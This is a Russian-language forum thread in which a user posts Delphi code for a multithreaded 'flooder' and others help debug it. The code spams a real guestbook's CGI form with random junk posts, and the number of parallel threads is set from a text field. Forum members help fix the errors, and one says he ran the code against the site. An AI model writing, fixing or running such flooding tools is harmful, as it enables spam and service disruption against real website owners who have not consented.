Ошибка создания idhttp1

[zotox]

Знающие люди подскажите в чем моя ошибка?
Пишу флудер для гостевухи... (особо ее не флудить(и не ругать мя)... я так для набива рук написал)

Это потоки:

procedure Fluder.Execute;
var
 list:TStringList;
 a,b,c,d,e,r:string;
begin
 randomize;
 a:='оаыве';
 b:='нецйг';
 c:='зъхлр';
 d:='кунуй';
 e:='иьпар';
 r:=a[Random(Length(a))]+b[Random(Length(b))]+d[Random(Length(c))]+e[Random(Length(e))]+c[Random(Length(c))];
 idhttp1.Create(nil);
 list:=TStringList.Create;
 list.Add('name='+r);
 list.Add('txt='+r);
 list.Add('send=1');
 IdHTTP1.Post('http://www.ko-luch.ru/cgi-bin/gbform.cgi',list);
 list.Free;
end;

procedure Fluder.IdHTTP1Redirect(Sender: TObject; var dest: String;
  var NumRedirect: Integer; var Handled: Boolean;
  var VMethod: TIdHTTPMethod);
begin
 Handled:= TRUE;
end;

Это форма:

procedure TForm1.Button1Click(Sender: TObject);
var
 i,count:integer;
 Potoki:array of fluder;
begin
 count:=strtoint(edit1.Text);
 SetLength(Potoki,count);
 for i:=0 to count-1 do
  begin
  Potoki[i]:=fluder.Create(true);
  Potoki[i].resume;
  Potoki[i].Priority:= tpLower;
  end;
end;

Ругаеться на строку idhttp1.Create(nil); (в потоках) когда я жмякаю на кнопку (на форме)

ЗЫ особо не ругайте за мой тупой рандомайз/рандом (потом подправлю)

[Alter]

IdHTTP1 - это компонен, который кладёте на форму во время работы в Дельфи, или динамически создаваемый при запуске формы? Если он уже на форме лежит, то делать это (idhttp1.Create(nil);) не надо.

[zotox]

Да точно спасибо...
Теперь ругаеться на строку

IdHTTP1.Post('http://www.ko-luch.ru/cgi-bin/gbform.cgi',list);

убрал строку каторая создает idhttp

[mihali4]

Испытал вашу процедуру
procedure Fluder.Execute;
Все нормально, никто ни на что не ругается...

[zotox]

mihali4 как это??? я имею ввиду что ругаеться когда я жмякаю на кнопку

[mihali4]

Теперь ругаеться на строку
IdHTTP1.Post('http://www.ko-luch.ru/cgi-bin/gbform.cgi',list);

Ваши слова?
Эта строка присутствует в вышеуказанной процедуре. Сама по себе процедура отбрабатывает нормально (извините, если в результате испытаний туда что-то заслалось типа "гыгыгы" или что там у вас в R собирается...)
Свойств IdHTTP1 у меня нет, прямой связи с потоками не просматривается...

[zotox]

ниче не понял если чесно на счет испр. ошибки...(